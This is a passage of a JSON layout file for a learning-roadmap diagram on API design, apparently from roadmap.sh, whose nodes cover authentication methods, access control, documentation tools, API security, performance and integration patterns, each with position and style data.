\"oldId\": \"5R9yKfN1vItuv__HgCwP7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -601.4010478029121,\n        \"y\": 859.6211541412258\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0FzHERK5AeYL5wv1FBJbH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -583.4010478029121,\n        \"y\": 983.7533379465866\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basic Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dZTe_kxIUQsc9N3w920aR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -583.4010478029121,\n        \"y\": 983.7533379465866\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QTH7sy9uQZWl6ieBz7erY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1037.7533379465865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Token Based Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1037.7533379465865\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tWg68AHLIr1gIZA1za3jp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1091.7533379465865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JWT \",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1091.7533379465865\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TLuNtQ6HKYQXmglyVk8-t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1145.7533379465865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OAuth 2.0\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1145.7533379465865\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eQWoy4CpYP3TJL2bbhPB_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1199.8443340956667\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Session Based Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -583.4010478029121,\n        \"y\": 1199.8443340956667\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nHbn8_sMY7J8o6ckbD-ER\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.6381872719934,\n        \"y\": 1033.5329320277096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Authorization Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5R9yKfN1vItuv__HgCwP7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -210.6381872719934,\n        \"y\": 1033.5329320277096\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wFsbmMi5Ey9UyDADdbdPW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 165.00932230336673,\n        \"y\": 1004.0041963907498\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Role Based Access Control (RBAC)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dZTe_kxIUQsc9N3w920aR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 353,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 165.00932230336673,\n        \"y\": 1004.0041963907498\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 353,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 353,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dZTe_kxIUQsc9N3w920aR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 165.00932230336673,\n        \"y\": 1058.00419639075\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attribute Based Access Control (ABAC)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 165.00932230336673,\n        \"y\": 1058.00419639075\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tzUJwXu_scwQHnPPT0oY-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.6381872719934,\n        \"y\": 1146.5329320277096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Keys & Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wpk4TvxcZOJgAoXjrOsZF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -210.6381872719934,\n        \"y\": 1146.5329320277096\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5R9yKfN1vItuv__HgCwP7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 214.72110595703134,\n        \"y\": 1146.5329320277096\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Documentation Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"awdoiCHz7Yc3kYac_iy-a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 214.72110595703134,\n        \"y\": 1146.5329320277096\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5RY7AlfRQydjxWK65Z4cv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1270.9481617844106\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Swagger / Open API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OpS2NX1lPTOtfjV1wKtC4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1270.9481617844106\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KQAus72RGqx5f-3-YeJby\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1427.5717249610107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Postman\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CDLaORTdB5PWk7VbcU1bz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1427.5717249610107\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LxWHkhlikUaMT2G8YmVDQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1323.1560161766106\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Readme.com\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OpS2NX1lPTOtfjV1wKtC4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1323.1560161766106\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OpS2NX1lPTOtfjV1wKtC4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1375.3638705688106\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stoplight\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 211,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 232.85884761415554,\n        \"y\": 1375.3638705688106\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qIJ6dUppjAjOTA8eQbp0n\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -207.7109644352177,\n        \"y\": 1398.532340911712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wpk4TvxcZOJgAoXjrOsZF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -207.7109644352177,\n        \"y\": 1398.532340911712\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G70wvcOM1Isrx5ZBvS2xP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -205.2109644352177,\n        \"y\": 1251.6104620579213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Vulnerabilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q1yaf-RbHIQsOqfzjn4k4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -205.2109644352177,\n        \"y\": 1251.6104620579213\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"q1yaf-RbHIQsOqfzjn4k4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -205.2109644352177,\n        \"y\": 1303.8183164501213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KQAus72RGqx5f-3-YeJby\"\n      },\n      \"zIndex\": 999,\n      \"width\": 242,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -205.2109644352177,\n        \"y\": 1303.8183164501213\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 242,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"92-ebM0EwQ3nLjZKtvCZX\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -612.1381872719934,\n        \"y\": 1303.8183164501213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Security Best Practices\",\n        \"href\": \"https://roadmap.sh/best-practices/api-security\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"MSeNU5cURBInhPlvnhVfO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -612.1381872719934,\n        \"y\": 1303.8183164501213\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d9ZXdU73jiCdeNHQv1_DH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -590.469505701316,\n        \"y\": 1467.491632075372\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wpk4TvxcZOJgAoXjrOsZF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -590.469505701316,\n        \"y\": 1467.491632075372\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nQpczZUcn-TvrfT80dv0Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1568.4353183589587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1568.4353183589587\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PrvRCR4HCdGar0vcUbG_a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1619.7437339754388\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Caching Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1619.7437339754388\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p5wsniYnOS7cbHd92RxGk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1671.0521495919188\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Load Balancing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1671.0521495919188\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tPVtRV818D8zAAuNbqPNa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1722.3605652083988\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rate Limiting / Throttling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1722.3605652083988\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-qdwBg7HvwlbLy3IKCRij\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1773.6689808248789\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Profiling and Monitoring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"boYX1QcJullypfX4sevdy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1773.6689808248789\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DQcAV59vr1-ZRnMfbLXpu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -585.469505701316,\n        \"y\": 1824.977396441359\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XD1vDtrRQFbLyKJaD1AlA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -585.469505701316,\n        \"y\": 1824.977396441359\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MSeNU5cURBInhPlvnhVfO\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -614.469505701316,\n        \"y\": 1367.532340911712\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Performance Best Practices\",\n        \"href\": \"https://roadmap.sh/best-practices/backend-performance\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -614.469505701316,\n        \"y\": 1367.532340911712\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R3aRhqCslwhegMfHtxg5z\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -210.2109644352177,\n        \"y\": 1544.4353183589587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Integration Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yvdfoly5WHHTq2Puss355\"\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -210.2109644352177,\n        \"y\": 1544.4353183589587\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kJD1K2-ZkoezFCfpmOM0Z\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -255.7109644352177,\n        \"y\": 1661.7437339754388\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"TRANSPARENt\"\n        },\n        \"oldId\": \"o3XFXW2HHLBoxlbEnoWdZ\"\n      },\n      \"zIndex\": -999,\n      \"width\": 336,\n      \"height\": 370,\n      \"style\": {\n        \"width\": 336,\n        \"height\": 370\n      },\n      \"positionAbsolute\": {\n        \"x\": -255.7109644352177,\n        \"y\": 1661.7437339754388\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 370\n      }\n    },\n    {\n      \"id\": \"--mmTKhG58_elbUqyn90G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1662.4353183589587\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Synchronous vs Asynchronous APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iNsXTtcIHsI_i-mCfjGYn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1662.4353183589587\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oMfOBkVsgiLvFLicOUdx6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1713.7417878080591\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Driven Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PrvRCR4HCdGar0vcUbG_a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1713.7417878080591\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MJeUD4fOHaJu1oxk4uQ-x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1765.752205777561\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Gateways\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p5wsniYnOS7cbHd92RxGk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1765.752205777561\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PPeBbooE121zrgNwpVTiA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1817.410649486862\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Microservices Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-qdwBg7HvwlbLy3IKCRij\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1817.410649486862\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 326,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IkPZel5zxXWIx90Qx7fZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1972.3859806147652\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Messaging Queues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mXCKtLUvwVJkHrpHzOecq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 326,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -250.7109644352177,\n        \"y\": 1972.3859806147652\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 326,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      